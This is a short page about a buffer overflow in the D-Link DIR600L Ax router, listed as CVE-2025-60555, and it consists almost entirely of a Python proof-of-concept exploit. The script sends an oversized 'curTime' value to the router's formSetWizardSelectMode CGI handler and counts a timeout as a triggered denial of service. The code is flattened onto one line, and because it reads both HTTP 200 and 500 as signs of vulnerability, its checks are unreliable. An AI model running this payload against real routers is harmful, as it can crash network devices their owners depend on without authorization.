D-Link DIR600L Ax缓冲区溢出漏洞 (CVE-2025-60555)

#!/usr/bin/env python3 # CVE-2025-60555 PoC - D-Link DIR600L Ax Buffer Overflow # in formSetWizardSelectMode via curTime parameter # Author: Security Researcher # Note: For authorized security testing only import requests import sys TARGET_IP = "192.168.0.1" # Default D-Link router IP TARGET_PORT = 80 CVE_ID = "CVE-2025-60555" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-60555""" url = f"http://{target}/cgi-bin/cgiiplogin.cgi" # Buffer overflow payload with oversized curTime parameter # 1000 bytes of 'A' to overflow the buffer buffer_size = 1000 overflow_payload = "A" * buffer_size # Construct the malicious request data = { "func": "formSetWizardSelectMode", "curTime": overflow_payload, "nextPage": "WIZ_wan.shtml" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Compatible; SecurityScanner)" } try: print(f"[*] Testing target: {target}") print(f"[*] Sending exploit payload for {CVE_ID}") print(f"[*] Payload size: {buffer_size} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 500 or response.status_code == 200: print(f"[!] Target may be vulnerable - Status: {response.status_code}") return True else: print(f"[*] Target appears not vulnerable - Status: {response.status_code}") return False except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable (DoS triggered)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down or not responding") return False except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_IP check_vulnerability(target)